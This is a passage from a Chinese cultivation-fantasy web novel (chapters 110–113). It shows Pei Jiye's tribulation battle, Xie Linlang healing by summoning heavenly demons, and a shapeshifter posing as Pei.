裴寂夜已然不打算自己渡劫了，他满脑子想的都是先尽力撑着，帮谢琳琅渡劫。 谢琳琅的天劫要比他的简单轻松，只要谢琳琅渡劫成功，他自己怎么样都无所谓了。 林郁见裴寂夜怎么都不搭理他，似乎已然放弃了此前的一切打算，一咬牙，答应了姚黄仙子的提议。 他是被裴寂夜救回来的，本就欠裴寂夜一条命，不能看着裴寂夜走上绝路。 “好，我将中枢转移到你那！” 第110章 第 110 章 他好不容易再度握住谢…… 裴寂夜大脑一片空白。 他此刻正本能地避开天上厚厚黑色劫云的锁定, 再无视像疯狗一样追着他砍的卫景营。 裴寂夜全幅心神都在怀里的谢琳琅身上。 他不敢想象谢琳琅死在他怀里的情形。 当初谢琳琅渡劫失败，裴寂夜虽然愤恨于九夏山的暗算，可也有能力提前做好应对, 通过师兄弟间修行功法的联系, 强行挽回谢琳琅的神魂, 不要让他真的身死道消。 虽然裴寂夜为此修为尽失, 成了一只杀马特的夜前辈, 可千金难买他乐意, 他救下了谢琳琅，他成功了！ 但这一次谢琳琅再遭到重创，就不是转世重修这么简单了。 哪怕是修士，想要重塑真身也只有一次机会。 除非谢琳琅度过天劫抵达大乘期, 放弃飞升成仙的可能性, 兵解后再一次重塑真身转修散仙。 那样每隔百年谢琳琅要面对一次针对散仙的天劫, 度过了才能继续存在，失败了依旧身死道消。 如今谢琳琅遭到天凌宗噬天剑的攻击, 仙人之力正在不断撕扯谢琳琅的身体和经脉, 他的修为虽然在功德的帮助下重新恢复了化神期，可他的身体过于脆弱，只有筑基期的程度。 若非一股玄之又玄的未知力量化为了一张细密的网，强行将谢琳琅的身体固定着, 想必此刻谢琳琅早已爆开成片片碎屑了。 裴寂夜的心都要碎了。 他无法接受自己才刚见到谢琳琅, 就要和他天人两隔。 他内心充满了懊恼和悔恨，之前的百年他到底在做什么？他在愤懑憎恨什么？他为什么没有冲到谢琳琅面前, 将自己的想法和感情全部说出来…… 他到底在矜持什么啊？他为什么要和谢琳琅闹别扭？ 是啊，谢琳琅说的对，就算谢琳琅成婚又如何？ 他只是听到了消息, 为什么没有亲自冲到九夏山，问一问谢琳琅到底怎么想的？ 归根结底还是自己觉得被抛弃了，从而心生愤懑和怨怼，这才不想甚至不敢去见琳琅…… “裴小友？裴小友？裴霁？裴霁！！！” 就在此时，如晨钟暮鼓的呼喊声从裴寂夜心底猛地爆开，仿佛一声惊雷，总算唤醒了失魂落魄的裴寂夜。 裴寂夜茫然了一两秒，突然意识到了什么，他急迫地说：“商君！商君，求求你，救救琳琅，他……” “送他去流萤岛，阿莹在那，她可以施展蝶梦之术，先唤醒谢琳琅的神魂，再修补他的身体。” 古朴厚重的声音仿佛从很远的地方传来，“他身上有我玄商的功德庇护，没那么容易陨落，你现在要注意的是自己，你没发现吗？你头顶上的天劫要落下来了。” 他提醒裴寂夜，“你若继续带着谢琳琅，他也会成为天劫的攻击目标。” 即便谢琳琅也要渡劫了，可是普通化神期进阶渡劫期的天劫，能和整个寂夜宫积蓄了万年的天地大劫相提并论吗？ “不想连累他跟着你一起死，就松开手。” 裴寂夜听到这句话，反而怔住了。 他好不容易再度握住谢琳琅的手，却又要松开了。 “我……” 轰隆—— 厚厚的乌云凝聚起来，仿佛变成了遮蔽苍穹的盖子，整个盖子的中心正是裴寂夜，仿佛天要塌下来似的，四面八方都充溢着恐怖的混沌气流，形成了一道类似枷锁般的牢笼。 “快点做决定吧。”商君温和地说：“虽然有点难听，但你本来就没打算让他知道你还活着，不是吗？若他醒来后发现你又死了，局面也只是回到一年前而已。” 商君悠然道：“他也不是第一次失去你了，上次失去了一百年，这次才几分钟，他会适应的。” 裴寂夜：“……” 有商君这番话，他就是化为厉鬼，也要从地府里窜出来回到谢琳琅面前啊！ 但是…… 裴寂夜抬头看着那几乎要塌下来的漆黑天空，又看向浪花逐渐拔高的南海，又看向了高举噬天剑还想再劈过来的卫景营，以及外围那不断有修士冲出的各宗门宝船…… 上一次骤然遭遇生死诀别，只他一个人面对幽冷诡谲的阴谋，而此刻风雨飘摇、生死存亡，无数修士都在为各自不同的目的而战，唯有他两次的心情都是一样的。 他怎么能倒在这里？他答应过他，要回来的。 裴寂夜一闭眼，差点落下泪来，可下一秒，怀中逐渐冰冷的身体又让他心底蓬勃升起了恐怖而庞大的力量。 也许修行之路总是如此痛苦，充满了荆棘，每向前走一步都伴随着鲜血和泪水，撕心裂肺的分离和不甘，可是啊…… 裴寂夜伸手，细细摩挲着谢琳琅的脸颊。 重塑真身后，谢琳琅的面容比之过去要显得年轻稚嫩些。 仿佛岁月在他身上倒流了，回到了才十几岁就来到九夏山，那个独属于谢琳琅的自信又莽撞、稚嫩青涩却又生机勃勃的时光。 真是令人怀念又欢喜啊。 是的，谢琳琅说的没错。 你在人间，我甚欢喜。 裴寂夜长出一口气，只觉得自己兜兜转转百余年，仿佛一直在原地打转。 他就如同当年出门访友般，对谢琳琅说我去去就回。 而这一次，他又要做同样的事了。 裴寂夜不舍地低头，额头碰触到了谢琳琅冰冷的肌肤。 他心中大恸，再不犹豫，猛地向寂夜宫边缘阵法的位置冲去。 作为寂夜宫主，他在这片海域的权限和力量是最强的，当他有意避开卫景营，即便卫景营怎么追逐都无法赶上裴寂夜。 两个护剑人拦下了卫景营。 “宗主，穷寇莫追，还有您自己的状态也很糟糕。” 卫景营何止是糟糕，他燃了神魂精血以供应噬天剑的渴求，此刻全凭一口气撑着，若是稍微放松一下，那他整个人就会立刻重伤昏迷不醒。 于是卫景营拒绝了护剑人的提议：“不，那裴寂夜正在仓惶逃窜，只要干掉他，毁掉阵法中枢，我等此来的目的就完成了大半，寂夜长吟就不会提前触发，我们天凌宗……” 一个天凌宗的长老温和地提醒卫景营：“现在主持阵法的人似乎是姚黄，卫宗主，她比裴寂夜要好对付得多，你也比较了解她，不要再执着于裴宫主了，先将姚黄斩于剑下吧！” 卫景营：“什么？” 这位天凌宗高徒这才注意到前方寂夜宫的宫殿群最前方的山门平台上，站着一个身穿明黄色长裙的女子。 女子挽了一个简单的堕马髻，发丝间插着一朵硕大的姚黄牡丹，她手持一把长剑，剑刃最前端微微分开，此刻她高举长剑，正在汇聚整个寂夜宫修士的法力。 卫景营有一瞬间的失神，耳边恍惚响起了当年女子脆生生地呼喊：卫家哥哥。 但下一秒，卫景营就再一次陷入了狂热之中，他的修行即将圆满，他快要完成师尊的嘱托，斩断仙路上一切阻碍，姚黄早就转投寂夜宫了，她与他的确再无瓜葛。 纵然卫景营还有些不甘心，想要斩杀裴寂夜，可是以第一人的身份阻断寂夜长吟才是他的目的，于是他调转剑刃，冲向了姚黄。 “没错，我说了，此次不仅可以让天凌宗成为仙门第一，还可以彻底解决曾经的心魔和桎梏，那些困扰我的、阻碍我成仙的魔障全都要摒弃！” 纯白色长剑再一次化为了细细的线，以排山倒海之势冲向寂夜宫方向。 姚黄仙子见到这一幕，唇边泛起一丝冷笑。 “我与你一同长大，再不知道你的把戏。” 她手腕微微一抖，那分叉的长剑竟变成了一把两米长的超大剪刀！ 在白色的线贯穿阵法前段，冲到姚黄仙子近前的瞬间，她合拢了手上的巨大剪刀。 剪刀碰触到白线后立刻分崩离析，那毕竟是仙人之剑，然而剪刀最前段位置并未立刻损毁，而是随着惯性并拢，继而……将手持噬天剑的卫景营直接懒腰剪断了！！ 卫景营完全没意识到发生了什么，接二连三地操纵噬天剑，早已吞噬了他太多修为和神魂，直到半个身体飞到天上，他才恍然发现视野不对劲。 等等，发生了什么？ 姚黄仙子却猛地弯腰避开了那擦过来的白线。 然而失去了操纵人，纵然噬天剑有着无上威力，那白线的力量也被大幅度削弱，撞击在寂夜宫前的阵法上，荡起一阵阵紫色波澜，随即消失了。 远处两个护剑人见到这一幕，全都面色陡变，他们不约而同地施展术法，召唤噬天剑。 天凌宗的长老也忙不迭各施秘法，试图将被剪成两断的卫景营捞回来。 姚黄仙子没有理会这群人的动作，她解决了卫景营后，不由得一阵心神畅快，她大笑着，继而厉声道：“以天凌宗主为祭，诸君，寂夜开，长吟出，输入最大力量，给我起——！！” 伴随着她的话语，寂夜宫殿群上方浮现了黑紫色的阵法，阵法再一次汇聚了无上光芒，那浩瀚而恐怖的力量仿佛能贯绝天地，划破时空。 玄命派的修士见到这一幕，纷纷长叹息。 “来不及了，寂夜长吟要开始了。” 嗡—— 随着这声如龙吟般的低频声波沿着海面快速掠出去，南海的海水颜色彻底化为了纯粹的黑色，有无数可怕而混沌的气息从海水深处缓缓上浮。 一瞬间，上古时代的南海降临了，与这片大海彻底混合在了一起，不知今夕何夕。 轰隆—— 一道紫色的天雷突兀落了下来，狠狠地劈在了一道全身绽放蓝色光芒的修士身上。 如月尊者的劫云终于酝酿结束，他要渡劫了。 110-115 第111章 第 111 章 天生玄鸟，降而生商。…… 天劫其实挺人性化的。 在修士察觉到自己要渡劫前, 会有一段准备时间。 一般修士会赶紧趁着这点时间冲到人迹罕至之地，或者找一个自己觉得安全居所，再赶紧准备好此前搜集的法宝啦、丹药啦和阵法什么的。 一切准备就绪后, 当修士的精气神三者合一的瞬间, 天劫才会如期而至。 如月尊者发现天劫要来后, 他不断收取着各家修士和朋友送的东西, 只要他没收完东西, 一般而言天劫是不会落下来的。 然而姚黄仙子发动了寂夜长吟, 宝船上的修士注意力全都在即将爆发的寂夜长吟上，自然没人再给如月尊者提供帮助了。 如月尊者将丹药、阵法和法器都准备好，一瞬间老天爷有感于如月尊者的信心，紫色天雷遂落了下来。 如月尊者一边注意着天上的天劫, 一边盯着海下隐隐浮现的上古海妖, 他有些紧张, 还有些兴奋。 在某个瞬间，漆黑色的海水突然爆发出数十米高的巨大水幕, 像是凭空出现了一个盖子, 想要将悬浮于半空的如月尊者打入海底。 而就在此刻，如月尊者如一抹轻舟，轻盈在水面上划开，继而一道水桶粗的天雷轰然落下, 正好打在了试图偷袭如月尊者的上古海妖身上。 轰隆—— 二者撞击在一起, 那黑色妖兽似乎被打懵了，居然呆了几秒, 也让如月尊者看清了袭击者的真面目，那是一头有着长长脖颈、如蛇一样脑袋的巨大海兽。 海兽的舌头上有一只竖着的眼瞳，蛇口周围满是密密麻麻的牙齿, 蛇的身体侧面则是细密羽翼，那羽翼此刻全都炸开，像是即将爆发的针，又像是拨开周围云水的羽翼，随时能带着这头海兽飞上天空。 如月尊者倒吸一口冷气，他连忙拔高身躯，避开了那蛇头的攻击范围，同时拿出了一个细口玉净瓶。 瓶身上流转着树枝花纹，随着如月尊者的法力催发，玉净瓶释放出一抹柔软朦胧的气息，瞬间笼罩了那呆滞的海兽。 海兽的眼睛发直，身体缓缓坠入海中，那巨大的身躯拍打在海面上，又荡起了十几米高的水墙。 直到此刻，在场所有修士才不约而同地松了口气。 姚黄仙子看着这一幕，脸色也白了白，她忍不住问林郁：“以前寂夜宫典籍中，有说咱们是怎么干掉这么可怕的上古海兽吗？” 林郁：“反正你现在连着宗门所有修士，不如让宫内的老前辈和你说说？” 很快就有一个苍老的声音通过阵法传到姚黄耳边：“其实办法很简单啦，咱们寂夜宫不是一直在向未来贷款吗？我们可以将现在寂夜长吟的难度的五成推到百年后，这样下一次后辈们要面对百分之一百五的难度，但我们现在就会很轻松了……” 姚黄仙子冷笑：“那前辈，你告诉我，咱们现在面对的难度是不是也被推了很多次的、叠加了好多倍？” “是啊，否则怎么可能这么难？哪怕第一头出现的上古海妖都有渡劫期，普通弟子根本没法战斗。” “其实问题不大，天道规则下不可能出现神魔级别的妖兽，他们的实力都被大幅度削弱了。” “也对，上古时代天地浩瀚，那些妖兽的力量也都非常恐怖，随便一头都有地线的实力，但将他们拉到后世，他们顶天了也就大乘期的水平。” “说的好，可上古炼气士前辈们也有地仙实力，可我们连大乘期都没有。” “真要修行到了大乘期，我第一时间飞升成仙，自然不需要再处理债务了。” “是啊，这才是寂夜宫很少有大乘期修士的原因之一吧，全都当老赖飞升了。” “……” 寂夜宫修士们顿时叽叽喳喳起来，通过阵法中枢全部传到了姚黄仙子的耳朵里，她顿时一阵气闷。 所以说她当年真是脑子被驴踢了才选择加入寂夜宫。 “宫主呢？他才是整个阵法的核心，他跑哪里去了？” 另一个苍老的声音响起：“宫主在地宫内，他马上出去了。” 所谓地宫自然是指当初谢琳琅偷偷顺着流萤岛潜入到海下的地宫。 裴寂夜在商君的劝说下来到流萤岛，由于阵法缘故，流萤岛早已变成一条三折叠的符文，并链接周围的岛链形成了一个较为重要的阵眼。 裴寂夜甩开卫景营后来到这处阵眼，他顾不上和驻守这里的宫内修士打招呼，就直接顺着内部通道进入了地宫。 地宫内，无数面带黑甲的修士正在盘膝吸取地幔深处的魔气，以供给地面上的阵法所需力量。 裴寂夜无视这群密密麻麻的黑甲修士，一路狂奔，朝着他平日休息相反的方向冲去。 当他急切地推开一扇门后，无数如帷幕一样的光芒扫过他全身，一层层、一片片朦胧的雾气仿佛屏障，几乎瞬间遮蔽了他的气机，原本他和谢琳琅的天劫竟失去了目标！ 裴寂夜大声道：“妖蝶前辈，还不醒来？！” 梦幻般美丽的光在他眼前闪过，一个朦胧的女子倩影出现在裴寂夜面前，正是此前谢琳琅偷偷潜入地宫时见到的女子。 “前辈，琳琅是无辜的，他完全是被我牵累，才受了重伤，求求你护持他的神魂，修复他的身体……” “是他呀，我见过他的。” 女子轻柔娇俏的声音里透着浓浓的笑意。 “之前见到他时，我就很期待现在这一刻了。” 裴寂夜：“什么？” 女子的声音仿佛久远过去传来的歌谣，带着一抹奇异的韵律：“好了，你放下他吧，我带他进入梦境里，只要你能回来，就能见到他。” 裴寂夜听到这句话后，原本焦灼苍白的脸色霍然开朗，仿佛被注入了莫大力量，重新拥有了战胜一切的力量。 “好、好、好！！” 他不舍地握了握谢琳琅的手，艰难而坚定地放开了。 “我会回来的。” 他轻声呢喃着，一如百年前他对谢琳琅的承诺，“等我回来，我们就举行道侣仪式，我们要生死相连，再不分离。” 裴寂夜低下头，轻轻地吻了一下谢琳琅微冷的唇，终于转身离开了。 他几乎瞬间就离开了地宫，从流萤岛的阵眼出来，正好看到如月尊者以天劫对抗海兽那一幕。 他似笑非笑，声音沙哑：“如月，真是谢谢你的天劫了。” 如月尊者猛地看向裴寂夜，哼了一声，没好气地说：“既然要感谢我，不如来帮我对抗天劫。” 裴寂夜懒得理会如月尊者，他瞟了一眼主持阵法的姚黄仙子，没有看到疯狗卫景营，而周围其他宗门的宝船都在朝着寂夜宫殿群靠拢。 海面深处隐隐有数个非常恐怖的海兽气息即将冲出，寂夜长吟已然开始，天地灵力甚至都变成了混沌交杂的恐怖罡风，其他宝船上搭载的各宗门修士只能想办法搭把手，一起帮寂夜宫度过这次的难关了。 若寂夜宫失败了，整个寂夜宫遭到天道清算，哪怕是这些宗门修士逃窜回真界，也躲不过因果报应和业障返还，还不如在这里多杀几个上古海兽，也许就能还掉寂夜宫的外债了呢？ 裴寂夜收回视线，迅速掌握了目前的情况。 海水正在发出人耳听不到的窸窣声，这片海洋已然活了过来，正如寂夜宫典籍里记载的那样，天地初开，盘古大神轰然倒塌，血肉化为河流海洋，也所以上古时代的海洋蛮荒、古老而充满了未知可怕的力量。 生活在这样的海洋中，上古海兽们也拥有着莫测的力量，后世修士根本无法应付，所以寂夜长吟的第一步是要换了天地！ 寂夜宫开启寂夜长吟是为了获得好处，而不是来送命的。 轰隆轰隆的雷鸣声在裴寂夜头顶上不断炸开，仿佛感受到了他内心的坚定和绝然，此前一直引而不发的天劫即将落下。 裴寂夜抬头看天，这是独属于他的诛魔神雷。 他凭空而立，长发荡开，莹绿色的光如流水般划过身体，下一秒他的躯体开始拉长，越发猛烈而恐怖的力量涌动出来，漆黑污秽的力量像是失去了桎梏，轰然流露出来。 一只巨大的爪子突兀探了出来，那锋利的爪子正好抓住从海中跃出的一条长着尖锐倒刺的海兽，刺啦一声，那海兽的外皮竟直接被爪子撕破了！！ 所有看到这一幕的修士全都为之失声。 继而刺耳沙哑、仿佛刮过灵魂的嘶鸣声响起，与这烈烈海面的长吟声形成了鲜明的对比，又像是龙凤互吟般交缠在一起。 无数海兽似乎被挑衅了，它们纷纷从海中探出硕大的头颅，用满是敌意的冰冷目光死死盯着天上的巨大玄鸟。 玄鸟有如垂天般的黑色羽翼，长长的翎羽上泛着莹绿色的光泽，无形的黑色火焰猛烈燃烧着，只是落下一朵黑色火焰，那海中咆哮的妖兽就连忙躲入海中试图避开火焰。 姚黄仙子震撼地看着这一幕，忍不住问林郁：“他不是蜕化了吗？变成脑袋上只有三四根毛的杀马特小鸟吗？” 林郁久久说不出话来，半晌才冒出一句：“可能这就是爱吧。” 下一秒，酝酿许久的诛魔神雷终于落了下来。 天地间怎能有如此堕落成魔的凤？上古时代早已陨落的凤凰只能存在于神话传说中，天地骤变，已然不允许这样的大妖再度降临于世了！ 天生玄鸟，降而生商。 玄鸟扬天长鸣，金色玉璧化为一面面手牌，在身周环绕，仿佛在出筹码。 天地啊，不如来协商一下。 在这上古海妖肆虐的时代，我等玄鸟是否有资格于此天空中翱翔？ 第112章 第 112 章 “请天魔降临！”…… 谢琳琅突兀醒了过来。 他茫然地看着周围, 那是一层层朦胧的薄纱，又像是一个个半透明的泡泡，闪烁着五颜六色的光彩, 营造出了一种如梦似幻的感觉。 “这是哪里？” 谢琳琅下意识地揉了揉太阳穴, 快速回忆了一下之前发生的事。 他想起来了！ 他、他再一次见到了师兄裴霁, 他向师兄倾泻着自己这么多年的愤懑和怨怼, 然后师兄遭到了卫景营的袭击, 他扑上前替师兄挡住了, 然后……自己昏迷过去了？ 谢琳琅一下子急了。 若是他没看错，卫景营使用的应该是天凌宗镇派之宝噬天剑，那可是仙人之剑，自己替裴霁挡住了一剑, 那之后呢？裴霁是否有受伤？卫景营是否伤害了师兄？ 谢琳琅又气又急, 他迫不及待地想要见到裴霁, 纵然心底依旧满是腹诽和愤恨，怨怼和不甘心, 可诚如他昏迷前对裴霁说的话。 无论如何啊, 裴霁还活着，师兄还在人世间。 甚至他们再一次见面了，这都是好的，都让人心生欢喜。 谢琳琅深吸一口气, 他定了定神, 主动向周围探索。 只是他刚飘了飘，一个温柔的声音响起：“啊, 你醒了。” 谢琳琅心中一凛，他略一沉吟，行了一礼：“后学末进谢琳琅, 见过前辈。” 一个朦胧的光影出现在谢琳琅面前，那仿佛是个女子，女子抿嘴笑：“无需多礼。” 看到女子的瞬间，谢琳琅不由得睁大眼睛，这、这不是当初他在地宫见到的女子吗？ 等等，在上古坟场时，这女子仿佛是…… “叶前辈？” “嘻嘻 ，我不是她哦。” 谢琳琅怔了怔，有些不理解，但他也不敢多问，尽可能让自己的语气不显得那么焦躁：“是晚辈的不是，前辈，我这是在哪里？送我来的人在哪里？他、他没事吧？我……” 女子抬手做了个停止的动作，她轻笑着，声音仿佛铃铛，清脆好听。 “你没发现吗？你现在的身体只是你想象中的躯体，你的本体正被仙力肆虐呢，但好在汤汤遗留给你了一份厚礼。” 谢琳琅癔症了几秒，伴随着认知改变，四周朦胧梦幻的环境如流水般消失了，下一秒他出现在了一处静室内。 静室颇为宽敞，靠墙边放着一个软榻，而软榻之上有一个穿着黑衣的黑发少年，少年面白如纸，气息微弱，唇边还泛着血丝，如瀑般的黑发散落下来，流动着七彩色的磷粉。 磷粉一闪一闪的，像是天上的星星，煞是好看。 然而谢琳琅却顾不上这些，他定定地看着少年的面容，长出一口气，缓缓道：“原来如此，我懂了，我的身体重伤将死，您将我的神魂和意识单独取了出来。” 谢琳琅回忆起自己在上古坟场那场祭祀大典上，叶仙子抬手一点，张开了如流水般的梦境之门，将无数农氏族人和鹤族人的神魂全部收入其中…… 可是这女子又说自己不是叶仙子？ 似乎察觉到了谢琳琅的不解之处，那女子再度笑了。 “我是她，又不是她，对了，我告诉你哦，这里是我的梦境，你所思所想的一切都会被我所知。” 谢琳琅面色微变，怪不得上次他会被女子的力量拂过，继而恢复到了化神期，原来她当时就发现他的不对劲之处了！ 女子道：“我且问你，你所见到的叶仙子是人是妖？” 谢琳琅微微蹙眉，他迟疑着说：“看起来似乎是人族修士，但她没有与那三位炼气士一起参与仪式，可能是商君的朋友。” “哈哈哈她的确是商君汤汤的朋友，可她非人非妖，是个奇妙的存在。” 女子悠然道：“上古有炼气士修行时曾发出疑问，你应该听说过这个故事，很有名呢。” 她轻吟道：“不知周之梦为蝴蝶与？蝴蝶之梦为周与？” 不等谢琳琅开口，女子就道：“所以那叶仙子其实是梦中之蝶。” 谢琳琅倒吸一口冷气：“梦中之蝶？” “是啊，有上古炼气士听闻了梦蝶故事，也发出了类似的感慨，继而穷尽心思去研究此道，最终她褪去皮囊，反而成了虚无缥缈的梦蝶，她最初为人，可后来为妖，徘徊在无数人的梦境之间。” 女子笑吟吟地说：“裴霁将你放在这里，其实已然做了最坏的打算，他害怕你的身体最终毁在仙人之力下，身死道消，所以希望你能停留在梦境之中。” 谢琳琅沉默了，他静静看着床榻上气息微弱的少年，许久后才道：“还请前辈教我。” “我教你？我教你什么？” “我想要祓除身体内的仙人之力，我想要再一次回归人间。” 谢琳琅的声音很轻，却掷地有声、斩钉截铁：“我不要在梦里见他，我也不要他来梦里找我，我们要活在人世间，而不是将一切当成虚无缥缈的幻梦！” 女子沉默良久，才发出了轻叹息：“梦不好吗？永远停留在梦境里，你们永远不分离……” 谢琳琅：“可我想抱他。” 女子又一次沉默了。 这谢琳琅脑子里都想些什么乱七八糟？ 但考虑到裴寂夜将人放在这里时转身离去前的那一个吻，好像也是满脑子黄色废料，只能说什么锅配什么盖。 “也罢，噬天剑有着无上威力，专门向天质问，发出吞噬天地的凌云壮志，所以纵然你体内有玄商王朝恩泽所化的覆天帛，只能以协商的姿态与噬天剑剑气纠缠，无法阻挡噬天剑的剑气攻击，更无法彻底将剑气排除出去。” 女子语带狡黠，“但我想对你来说应该不难，对不对？你的神魂在我这里，若你体内多出点什么，有噬天剑帮忙，不仅身体能得到修复，也能尽力释放噬天剑的剑气。” 谢琳琅怔了怔，恍然大悟，对哦！他怎么没想到呢？ 他明明有着最强大、也是构成了他一切术法根基的力量啊！ 谢琳琅大喜，躬身行礼向女子拜谢：“多谢叶仙子指点！” “都说了我不是叶仙子了。”女子的话语中透着点顽皮和狡黠，“我只是一只生活在她梦里的蝴蝶而已，你会见到她的。” 光怪陆离的梦似乎远去了，谢琳琅逐渐感受到了与身体间的联系，那是刺骨到让人发疯的痛苦，无数如细丝一样的剑气正在肆虐他的身体，又被身体内无形的长帛之力重新聚合。 谢琳琅的脑袋一片空白，太疼了，疼的他几乎要失去理智、甚至忘记自己的目的了。 但是…… 裴霁那如春山般俊美的容颜在他脑海中浮现，他在对着他笑。 下一秒，谢琳琅用尽全部力量，强压下那撕裂再聚合的痛苦，嘶吼道：“请天魔降临！！” 是啊，他的身体已然成为了仙人之力和玄商之力的战场，既然已经打成一锅粥了，那就再请一位天魔降临来掺和一脚吧。 果不其然，在天魔降临的瞬间，谢琳琅的意识被天魔自带的幻境吸走了，而天魔进入了谢琳琅的身体，成为了这具身体的主人。 天魔：？？？ 这身体破烂得有些过分了啊！！ 第一只天魔只存在了两秒不到，就被仙人之剑的力量撕裂成了碎片，化为精纯的魔气涌入了谢琳琅的身体，修复着他饱受摧残的骨髓血肉。 谢琳琅缓了一秒就被扯回身体内，天魔死了，幻境自然也消失了。 但没关系，这证明了女子的办法有效！ “请天魔降临！” “请天魔降临。” “请天魔降临——” “请天魔降临……哎你别走啊！” 一次次的天魔降临，一次次的身体修复，一次次消耗噬天剑残留的剑气，渐渐的谢琳琅发现似乎没那么痛了，他的身体好像有了一点力气，原本几乎损耗一空的本源仿佛得到了充足补充！ 谢琳琅振奋起来，他继续请天魔降临，但可能是他短时间不断诈骗的行为激怒了天魔，连天魔都不愿意回应谢琳琅的召唤了。 谢琳琅不以为意，他第一次使用了宝树经后面的附录术法。 谢家先祖总有那么一两个被天魔拉入了黑名单的修士，如果天魔不理召唤怎么办？简单，修改自身气息，将召请术法变成无知小白修士使用的拙劣阵法。 天魔发现了一个可能是刚入行的小修士释放的阵法召唤，会欢欣鼓舞地冲过来考核目标心境，唤醒对方心底的魔，结果到地方了才发现，遭了，又被诈骗了！ 谢琳琅变着法子几乎将宝树经附录的诈骗、哦不对是独家召请法术全部用了一遍，当最后一只天魔发出愤怒的咆哮化为一缕精纯的力量涌入谢琳琅身体内时，噬天剑残余的力量终于消失了。 “……不愧是天凌宗的镇派神剑，只是残余的剑气竟撕了一百零八只天魔。” 谢琳琅睁开了眼，他只觉得全身酸软无力，仿佛被无形的力量彻底碾过，那一根根骨头、一块块血肉都被撕裂再重组的感觉真是糟糕透了。 但不管怎么说，他的伤好了大半，他活了过来，他回归了人世间！ 谢琳琅心底弥漫着纯然的欢喜，他翻找自己的乾坤袋，从里面取出了一些丹药，快速恢复着身体状况。 他勉力撑着床榻，想要下地离开静室。 “前辈？你还在吗？出口在哪里？师兄呢？我要去找他！” 这一次他不会再等待了，他要主动出击，无论天涯海角，天庭还是黄泉，他都要与师兄一起面对！ 房间里安静无声，谢琳琅焦急之际也没注意到周围环境变化，他刚踩在地面，就觉得腿脚无力，直接跌落在地。 下一秒，他被一个宽大的怀抱揽住了。 “琳琅啊……” 第113章 第 113 章 他等得很辛苦。 谢琳琅听到这句话, 如遭雷击，整个人都僵住了。 他不可置信地抬头看向来人。 只见来人穿着一身黑色长袍，长发散落下来, 边缘处还流淌着莹绿色的光。 他面容俊朗, 一双鲜红色的眼眸正定定地看着他, 倒映着谢琳琅那茫然无措的面容。 原来竟是裴寂夜。 他的唇距离谢琳琅的脸颊非常近, 近到谢琳琅能察觉到裴寂夜那不稳的吐息和残余的魔气波动。 “可算赶上了。” 裴寂夜深深注视着怀里的谢琳琅, 他伸手, 轻轻触摸了一下谢琳琅的脸颊，“你没事真是太好了。” 谢琳琅眼一闭，泪水落了下来。 见到裴霁之前，他心底满是焦虑和慌张, 只想赶紧见到师兄, 可见到裴霁了, 那原本已经被他压下去的愤懑和怨怼竟又冒了出来。 一百多只天魔降临于谢琳琅的身体内，哪怕被噬天剑全部切成了丝, 可终究有数量极多的残渣留了下来。 若是给谢琳琅一些时间, 他有足够的能力消化并吸收这些天魔残渣之力。 可他在短时间内心神遭到了几次巨变，那无处诉说的委屈，那长达百余年独自辗转反侧的思念突兀爆发，在残存的天魔之力诱惑下, 竟急转直下, 变成了如冰凌般刺骨的恨。 “你来了。” 谢琳琅哭着，泪水洗干净了他的眼睛。 那双如黑珍珠的眼眸格外明亮温润, 里面酝酿了深厚的情谊，浓烈的爱意似乎要化为实质涌现出来。 “你怎么才来啊。” 他这么说着，手腕一翻, 破魔诛邪的七星剑化为一抹湛蓝色的光辉，直接刺穿了裴寂夜的胸口！！ 裴寂夜：？？？ 裴寂夜不可置信地看着怀中还在哭泣的谢琳琅，黑发少年落泪的模样美丽而妖异，散发着无尽的诱惑，如天魔附体般瑰丽妖娆。 他口吐鲜血，反手将谢琳琅拍开。 谢琳琅本就刚缓过劲，根本没太多力气，被裴寂夜这一掌拍开，直接撞到了静室墙边的柜子旁，发出了咣当的声音。 谢琳琅直到身侧柜子砸落在地，才反应过来刚才发生了什么。 等等，他居然刺伤了师兄？ 再等等，师兄居然打他？他竟对他动手？他怎么能这样啊？他怎么敢这样？！ 一瞬间，谢琳琅的脑海一片空白，懊恼、后悔、憎恨、愤怒、不可置信等种种情绪交杂在一起，让他整个人都陷入了另一种全新状态中。 他竟脱口而出：“你果然不爱我。” 而在谢琳琅开口的瞬间，眼前的裴寂夜踉跄后退，胸口的血洞竟诡异地融合并消失了。 他脸色煞白，面容出现细微的扭曲和转化，继而变成了另一张与裴霁有些相似、却一眼就显假的面容。 他看着谢琳琅，那眼神中竟透着点委屈：“你怎么认出我的？” 两人同时开口，同时说出话后又同时沉默了。 谢琳琅死死盯着眼前的【裴寂夜】，原本僵硬而空白的大脑终于开始运转起来，此前心底浮现的懊恼和悔恨消失了，取而代之的是如疾风骤雨的愤怒。 裴霁敢打他的愤怒，有人假扮裴霁的愤怒，两种愤怒叠加在一起，让谢琳琅爆发出了非常恐怖的力量，魔气如实质般从他体内冲出。 “给我死——！！” 这股力量仿佛割麦子一样，直直将眼前的一切都平推成了废墟，静室这面墙轰然坍塌，尘土飞扬间，隐隐传来了一些惊叫声。 黑甲修士迈着坚定的步伐走了进来，又以更快的速度退了出去。 谢琳琅压根没注意黑甲修士的存在，他死死盯着被他攻击的【裴寂夜】，只见【裴寂夜】全身仿佛水溶了一样，变成了一滩液体，继而这液体化为灵蛇，叫缠着形成了一个鸟。 “谢琳琅，你好狠的心。” 这通体漆黑的八哥嘎巴着鸟喙，声音恹恹的，“你怎么看出我不爱你的？你就凭我不爱你而看出我不是裴霁吗？我见过裴霁了，他也就是一双眼睛、一个鼻子和一张嘴，和别人没两样啊？我专门记录了他提起你时的表情，用了与他一模一样的眼神，你为什么还能看出我是假的？” 原来潜入地宫、来到谢琳琅面前的并非裴寂夜，而是昆吾之灵，谢琳琅此前以天魔残渣为主体创造出的芥子境灵。 在完成了与九夏山的契约后，昆吾并未离开，他摇身一变成了九夏山的修士，还登上了前往魔域的宝船，代表九夏山参与这场天凌宗发起的讨伐盛事。 此前在海面上，也是他接二连三阴阳怪气嘲弄裴寂夜。 谢琳琅被噬天剑刺伤后，昆吾之灵就一直注视着谢琳琅，在裴寂夜带着谢琳琅进入流萤岛所在的阵眼位置后，昆吾之灵也立刻跟着窜了过来。 他本就是芥子境之灵，可以随时幻化为无形的灵体，趁着驻守阵眼的修士都被变化本体的裴寂夜所吸引时，昆吾之灵立刻钻入了流萤岛，找到了地宫入口，并潜了进来。 然而地宫内早已被妖蝶的梦境国度所覆盖，刚开始昆吾之灵一无所获，直到谢琳琅离开梦境回归现实，并召请天魔修复了身体后，昆吾之灵才摸了过来。 在看到谢琳琅踉跄着想要离开静室后，昆吾之灵立刻意识到，他的机会来了！ 